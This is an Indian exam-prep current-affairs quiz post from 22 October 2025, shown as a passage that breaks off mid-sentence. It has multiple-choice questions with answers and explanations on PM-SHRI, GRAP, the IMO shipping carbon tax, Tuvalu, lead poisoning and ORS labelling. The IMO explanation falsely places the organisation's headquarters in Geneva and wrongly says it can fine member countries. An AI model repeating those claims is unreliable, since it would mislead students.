{"id":2607,"date":"2025-10-22T13:31:45","date_gmt":"2025-10-22T13:31:45","guid":{"rendered":"https:\/\/iasquest.com\/?p=2607"},"modified":"2026-02-11T18:50:05","modified_gmt":"2026-02-11T18:50:05","slug":"daily-current-affairs-22-10-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-22-10-2025\/","title":{"rendered":"Daily Current Affairs \u2013 22-10-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Which of the following is NOT a feature of the PM-SHRI scheme?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">(a) Teacher training and professional development<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">(b) Community engagement for better school governance<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">(c) Providing free higher education to all students<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">(d) Technology-enabled classrooms<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Answer: (c) Providing free higher education to all students<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\"><strong>In NEWS:<\/strong> The CPI had stated that the PM-SHRI funds for States depended on adherence to the National Education Policy (NEP).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\"><strong>PM-SHRI (Pradhan Mantri Schools for Rising India):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-10\">\n<li>PM-SHRI is a centrally sponsored scheme launched by the Ministry of Education to transform over 14,500 existing schools into model schools across India.<\/li>\n\n\n\n<li>It involves joint funding by the Centre and States\/UTs.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Objectives of PM-SHRI:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-12\">\n<li>Holistic Education aligned with the National Education Policy (NEP) 2020.<\/li>\n\n\n\n<li>Modern Infrastructure \u2013 smart classrooms, green buildings, and improved facilities.<\/li>\n\n\n\n<li>Inclusive Learning \u2013 catering to all students, with focus on equity.<\/li>\n\n\n\n<li>Digital Learning and tech integration.<\/li>\n\n\n\n<li>Vocational Education starting from Class 6.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Key Features:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li>Green schools: Environmentally sustainable infrastructure.<\/li>\n\n\n\n<li>Technology-enabled classrooms.<\/li>\n\n\n\n<li>Assessment reforms focusing on competency-based learning.<\/li>\n\n\n\n<li>Teacher training and professional development.<\/li>\n\n\n\n<li>Community engagement for better school governance.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>Hence option (c) is correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><strong>Q. Consider the following statements:<\/strong> <br><br>1. As per the Right to Education (RTE) Act, to be eligible for appointment as a teacher in a State, a person would be required to possess the minimum qualification laid down by the concerned State Council of Teacher Education. <br>2. As per the RTE Act, for teaching primary classes, a candidate is required to pass a Teacher Eligibility Test conducted in accordance with the National Council of Teacher Education guidelines. <br>3. In India, more than 90% of teacher education institutions are directly under the State Governments. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 and 2 <br><strong>(b) 2 only<\/strong> <br>(c) 1 and 3 <br>(d) 3 only<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/kerala\/cpim-extends-an-olive-branch-to-cpi-over-mutual-differences-on-seeking-pm-shri-funds-linked-to-complying-with-nep\/article70186264.ece#google_vignette\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/kerala\/cpim-extends-an-olive-branch-to-cpi-over-mutual-differences-on-seeking-pm-shri-funds-linked-to-complying-with-nep\/article70186264.ece#google_vignette<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>2. The Graded Response Action Plan (GRAP), often seen in the news is related to:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">(a) Regulate water usage during drought conditions<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">(b) Control and mitigation of air pollution<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\">(c) Manage traffic congestion during festivals<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">(d) Provide financial aid during natural disasters<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>Answer: (b) Control and mitigation of air pollution<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>In NEWS: <\/strong>GRAP Stage 2 curbs kick in as Delhi\u2019s air turns \u2018very poor\u2019<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>What is GRAP?<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-26\">\n<li>GRAP (Graded Response Action Plan) is a strategic framework implemented in Delhi-NCR to tackle air pollution based on the severity of air quality levels.<\/li>\n\n\n\n<li>It was notified by the Ministry of Environment, Forest and Climate Change (MoEFCC) in 2017 following the directions of the Supreme Court in response to rising pollution in Delhi.<\/li>\n\n\n\n<li>It is enforced by the Commission for Air Quality Management (CAQM).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>Key Measures Under GRAP Stage II:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-28\">\n<li><strong>Construction Restrictions:<\/strong> Prohibition of construction and demolition activities to minimize dust emissions.<\/li>\n\n\n\n<li><strong>Vehicle Emission Control:<\/strong> Enhanced enforcement to curb vehicular emissions, including checks on diesel generator sets.<\/li>\n\n\n\n<li><strong>Dust Management:<\/strong> Mandatory daily mechanical sweeping and water sprinkling on roads to control dust pollution.<\/li>\n\n\n\n<li><strong>Fuel Restrictions: <\/strong>Ban on the use of coal and firewood in industrial and commercial establishments.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>GRAP Stage II has been implemented in Delhi as AQI crossed 300.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>Measures include:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-31\">\n<li>Ban on construction activities (except essential projects)<\/li>\n\n\n\n<li>Enhanced enforcement against dust pollution<\/li>\n\n\n\n<li>Daily sweeping and water sprinkling<\/li>\n\n\n\n<li>Restriction on diesel generator use<\/li>\n\n\n\n<li><strong>Hence option (b) is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><strong>Q. In the context of WHO Air Quality Guidelines, consider the following statements:<\/strong> <br><br>1. The 24-hour mean of PM2.5 should not exceed 15 \u00b5g\/m\u00b3 and annual mean of PM2.5 should not exceed 5 \u00b5g\/m3. <br>2. In a year, the highest levels of ozone pollution occur during the periods of inclement weather. <br>3. PM10 can penetrate the lung barrier and enter the bloodstream. <br>4. Excessive ozone in the air can trigger asthma. <br><br><strong>Which of the statements given above are correct?<\/strong> <br><br>(a) 1, 3 and 4 <br><strong>(b) 1 and 4 only<\/strong> <br>(c) 2, 3 and 4 <br>(d) 1 and 2 only<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/cities\/Delhi\/grap-stage-2-curbs-kick-in-as-delhis-air-turns-very-poor\/article70183345.ece#google_vignette\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/cities\/Delhi\/grap-stage-2-curbs-kick-in-as-delhis-air-turns-very-poor\/article70183345.ece#google_vignette<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>3. Consider the following statements with respect to the Global Shipping Carbon Tax:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">I. The Global Shipping Carbon Tax falls under the Paris Agreement directly.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\">II. The International Maritime Organization (IMO) is the main global body setting Green House Gas regulation for it.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\">(a) I only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\">(b) II only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\">(c) Both I and II<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\">(d) Neither I nor II<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\"><strong>Answer: (b) II only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>In NEWS: <\/strong>Governments at the International Maritime Organization (IMO) agreed to delay the planned adoption of the Net-Zero Framework (NZF) for one year<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>IMO\u2019s Global Shipping Carbon Tax:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-45\">\n<li>The International Maritime Organization (IMO) is introducing a global carbon pricing mechanism for international shipping.<\/li>\n\n\n\n<li>It aims to<strong> cut greenhouse gas (GHG) emissions and reach net-zero by around 2050.<\/strong><\/li>\n\n\n\n<li>The mechanism is expected to <strong>cover large ocean\u2011going ships<\/strong> (e.g., over 5,000 gross tonnage) engaged in international trade.<\/li>\n\n\n\n<li>Ships pay fees based on fuel GHG intensity (\u201cwell-to-wake\u201d lifecycle emissions).<\/li>\n\n\n\n<li>Cleaner fuels = lower or no fees; <strong>dirtier fuels = higher fees.<\/strong><\/li>\n\n\n\n<li>Includes <strong>\u201cfeebate\u201d credits<\/strong> for efficient ships, credits can be traded or banked.<\/li>\n\n\n\n<li>The international shipping sector <strong>does not fall under the Paris Agreement directly<\/strong> (for the most part) so IMO is the main global body setting GHG regulation for it. <strong>Hence statement I is incorrect and statement II is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>India and the Global Shipping Carbon Tax:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-47\">\n<li>India is among the 63 countries that reportedly <strong>supported the first\u2011ever global carbon tax <\/strong>on shipping indicating India is on board.<\/li>\n\n\n\n<li>For Indian shipping companies \/ exporters\/importers: shipping costs may increase (if their vessels emit above thresholds). This could translate into higher freight or cost of goods.<\/li>\n\n\n\n<li>Ports in India will likely be required to support low\/zero\u2011carbon fuels, bunkering infrastructure (e.g., ammonia, methanol, hydrogen, biofuels) \u2014 this is an opportunity and challenge.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>The International Maritime Organization (IMO):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-49\">\n<li>The International Maritime Organization (IMO) is a <strong>specialized agency of the United Nations.<\/strong><\/li>\n\n\n\n<li>IMO is responsible for setting global standards for the safety, security, and environmental performance of international shipping.<\/li>\n\n\n\n<li>India is a founding member of the International Maritime Organization.<\/li>\n\n\n\n<li>The<strong> headquarters of the IMO is located in Geneva, Switzerland.<\/strong><\/li>\n\n\n\n<li><strong>The MARPOL convention, under IMO, deals with pollution from ships<\/strong>.<\/li>\n\n\n\n<li>IMO enforces the<strong> SOLAS convention,<\/strong> which focuses on the safety of life at sea.<\/li>\n\n\n\n<li>IMO has the power to impose fines and sanctions on member countries.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2024)<\/strong> <br><strong>Q. Consider the following statements :<\/strong> <br><br><strong>Statement-I : <\/strong>The European Parliament approved the Net-Zero Industry Act recently. <br><strong>Statement-II :<\/strong> The European Union intends to achieve carbon neutrality by 2040 and therefore aims to develop all of its own clean technology by that time. <br><br><strong>Which one of the following is correct in respect of the above statements?<\/strong> <br><br>(a) Both Statement-I and Statement-II are correct and Statement-II explains Statement-I <br>(b) Both Statement-I and Statement-II are correct, but Statement-II does not explain Statement-I <br><strong>(c) Statement-I is correct, but Statement-II is incorrect<\/strong> <br>(d) Statement-I is incorrect, but Statement-II is correct<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.offshore-energy.biz\/imo-delays-adoption-of-shipping-carbon-tax-in-might-is-right-show\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.offshore-energy.biz\/imo-delays-adoption-of-shipping-carbon-tax-in-might-is-right-show\/<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>4. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\">1. Tuvalu is a land locked country.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\">2. Tuvalu has no mountains or rivers.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\">3. Tuvalu has a Parliamentary democracy under a constitutional monarchy.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">4. The predominant vegetation type on the islands of Tuvalu is the cultivated coconut woodland.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">5. Tuvalu recently joined International Union for Conservation of Nature (IUCN) as a State Member<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\">(a) 2 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\">(b) 1, 3 and 5<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\">(c) 2, 3, 4 and 5<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\">(d) 1, 2, 3, 4 and 5<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>Answer: (c) 2, 3, 4 and 5<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>In NEWS:<\/strong> Tuvalu joins IUCN as newest Pacific Island State Member<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>Tuvalu:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-66\">\n<li>Location:<strong> Central Pacific Ocean<\/strong>, midway between Hawaii and Australia<\/li>\n\n\n\n<li>Form of Government: <strong>Parliamentary democracy under a constitutional monarchy<\/strong> (King Charles III is ceremonial head). <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li>Type: <strong>Island nation<\/strong> of 9 coral atolls and reef islands.<strong> Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>The predominant vegetation type on the islands of Tuvalu is the<strong> cultivated coconut woodland<\/strong>, which covers 43% of the land. <strong>Hence statement 4 is correct.<\/strong><\/li>\n\n\n\n<li>Tuvalu has <strong>no mountains or rivers<\/strong>, and this is a notable geographical feature that makes it unique. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>Sea Level Rise: Tuvalu is extremely vulnerable to climate change and rising sea levels<\/li>\n\n\n\n<li>There have been discussions around \u201cdigital nationhood\u201d and even relocation of the population in the future<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>Tuvalu\u2019s membership in organizations:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-68\">\n<li>Tuvalu is a United Nations Member<\/li>\n\n\n\n<li>It is also a Commonwealth Member<\/li>\n\n\n\n<li>Tuvalu signed the Convention on Biological Diversity (CBD) in 1992, and ratified it in December 2002.<\/li>\n\n\n\n<li>It <strong>recently joined the International Union for Conservation of Nature (IUCN)<\/strong> as a State Member (Oct 2025). <strong>Hence statement 5 is correct.<\/strong><\/li>\n\n\n\n<li>Climate advocacy: Prominent voice for Small Island Developing States (SIDS)<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-background has-link-color\" style=\"background-color:#96de91\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><strong>Q. Consider the following statements:<\/strong> <br><br>1. Vietnam has been one of the fastest growing economies in the world in the recent years. <br>2. Vietnam is led by a multi-party political system. <br>3. Vietnam&#8217;s economic growth is linked to its integration with global supply chains and focus on exports. <br>4. For a long time Vietnam&#8217;s low labour costs and stable exchange rates have attracted global manufacturers. <br>5. Vietnam has the most productive e-service sector in the Indo-Pacific region. <br><br><strong>Which of the statements given above are correct?<\/strong> <br><br>(a) 2 and 4 <br>(b) 3 and 5 <br><strong>(c) 1, 3 and 4<\/strong> <br>(d) 1 and 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/iucn.org\/news\/202510\/tuvalu-joins-iucn-newest-pacific-island-state-member\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/iucn.org\/news\/202510\/tuvalu-joins-iucn-newest-pacific-island-state-member<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>5. Consider the following:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\">1. Contaminated Soil<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\">2. Informal Battery Recycling<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\">3. Cosmetics<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\">4. E-Waste Recycling<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\">5. Toys<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>How many of the above are the known sources of lead poisoning?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">(a) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\">(b) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\">(c) Only four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\">(d) All five<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>Answer: (d) All five<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\"><strong>In NEWS: <\/strong>Lead exposure in children costs world $3.4 trillion a year, study warns<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>Lead exposure in Children:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-85\">\n<li>A new study (published in Communications\u202fEarth\u202f&amp;\u202fEnvironment) estimates that childhood exposure to lead globally results in \u2248\u202fUS\u202f$3.4\u202ftrillion in annual losses.<\/li>\n\n\n\n<li>That amount corresponds to just over 2\u202f% of global GDP (in 2019).<\/li>\n\n\n\n<li>The burden is especially heavy in low\u2011 and middle\u2011income countries (LMICs), where informal recycling, weak regulation, and continuing sources of lead exposure persist.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>Even though leaded petrol has been phased out globally in many places, lead contamination remains widespread via:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-87\">\n<li>Lead-Based Paints<\/li>\n\n\n\n<li>Contaminated Soil and Dust<\/li>\n\n\n\n<li>Lead in Water Pipes and Plumbing<\/li>\n\n\n\n<li>Informal Battery Recycling (especially lead-acid batteries)<\/li>\n\n\n\n<li>Industrial Emissions<\/li>\n\n\n\n<li>Lead-Contaminated Food and Spices<\/li>\n\n\n\n<li>Traditional Medicines and Cosmetics<\/li>\n\n\n\n<li>E-Waste Recycling<\/li>\n\n\n\n<li>Lead-Soldered Cans and Utensils<\/li>\n\n\n\n<li>Occupational Exposure (workers bringing lead home)<\/li>\n\n\n\n<li>Aviation Fuel (in piston-engine aircraft)<\/li>\n\n\n\n<li>Household Items (e.g., toys, ceramics, jewelry)<\/li>\n\n\n\n<li>Mining and Smelting Activities. <strong>Hence option (d) is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\"><strong>The health effects on children are severe:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-89\">\n<li>Lead crosses the placenta and the blood\u2011brain barrier, meaning developing foetuses and young children are particularly vulnerable.<\/li>\n\n\n\n<li>At low levels, it can reduce IQ, impair brain development, cause behavioural issues.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2020)<\/strong> <br><strong>Q. Consider the following statements:<\/strong> <br><br>1. Coal ash contains arsenic, lead and mercury. <br>2. Coal-fired power plants release sulphur dioxide and oxides of nitrogen into the environment. <br>3. High ash content is observed in Indian coal. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 only <br>(b) 2 and 3 only <br>(c) 3 only <br><strong>(d) 1, 2 and 3<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.downtoearth.org.in\/health\/lead-exposure-in-children-costs-world-34-trillion-a-year-study-warns\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.downtoearth.org.in\/health\/lead-exposure-in-children-costs-world-34-trillion-a-year-study-warns<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>6. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>Statement-I: <\/strong>The FSSAI has withdrawn previous permissions that allowed brands to use \u2018ORS\u2019 label with disclaimers.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>Statement-II: <\/strong>No product can use the term \u2018ORS\u2019 in its branding unless it meets WHO standards for oral rehydration solutions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\"><strong>Statement III: <\/strong>Many products on the market mimicked ORS but had excessive sugar and inadequate electrolytes.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">(a) Both Statement II and Statement III are correct and both of them explain Statement I\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">(b) Both Statement II and Statement III are correct but only one of them explains Statement I\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">(c) Only one of the Statements II and III is correct and that explains Statement I\u00a0\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\">(d) Neither Statement II nor Statement III is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>Answer: (a) Both Statement II and Statement III are correct and both of them explain Statement I&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\"><strong>In NEWS: <\/strong>Hyderabad paediatrician\u2019s eight-year battle leads to FSSAI prohibiting usage of ORS on food products<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\"><strong>FSSAI&#8217;s New Order:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-104\">\n<li>No product can use the term \u2018ORS\u2019 in its branding unless it meets WHO standards for oral rehydration solutions.<\/li>\n\n\n\n<li>The FSSAI has withdrawn previous permissions (from 2022 and 2024) that allowed brands to use \u2018ORS\u2019 with disclaimers.<\/li>\n\n\n\n<li>This move is to <strong>stop misleading labels on fruit-based, ready-to-drink, or non-carbonated beverages pretending to be medical-grade ORS.<\/strong><\/li>\n\n\n\n<li>Many products on the market mimicked ORS but had:<ul><li>Excessive sugar (up to 120 grams per litre)<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Inadequate electrolytes (not matching WHO norms)<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>WHO-approved ORS has only 13.5 g sugar per litre<\/strong>, with carefully balanced electrolytes to treat dehydration safely.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>Hence both Statement II and Statement III are correct and both of them explain Statement I&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>WHO-Recommended ORS Composition (per 1 litre of water):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-107\">\n<li>Sodium chloride: 2.6 g<\/li>\n\n\n\n<li>Potassium chloride: 1.5 g<\/li>\n\n\n\n<li>Sodium citrate: 2.9 g<\/li>\n\n\n\n<li>Glucose (dextrose anhydrous): 13.5 g<\/li>\n\n\n\n<li>Total osmolarity: 245 mOsm\/L<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\">This formula is scientifically balanced to treat dehydration caused by diarrhoea and is based on decades of clinical 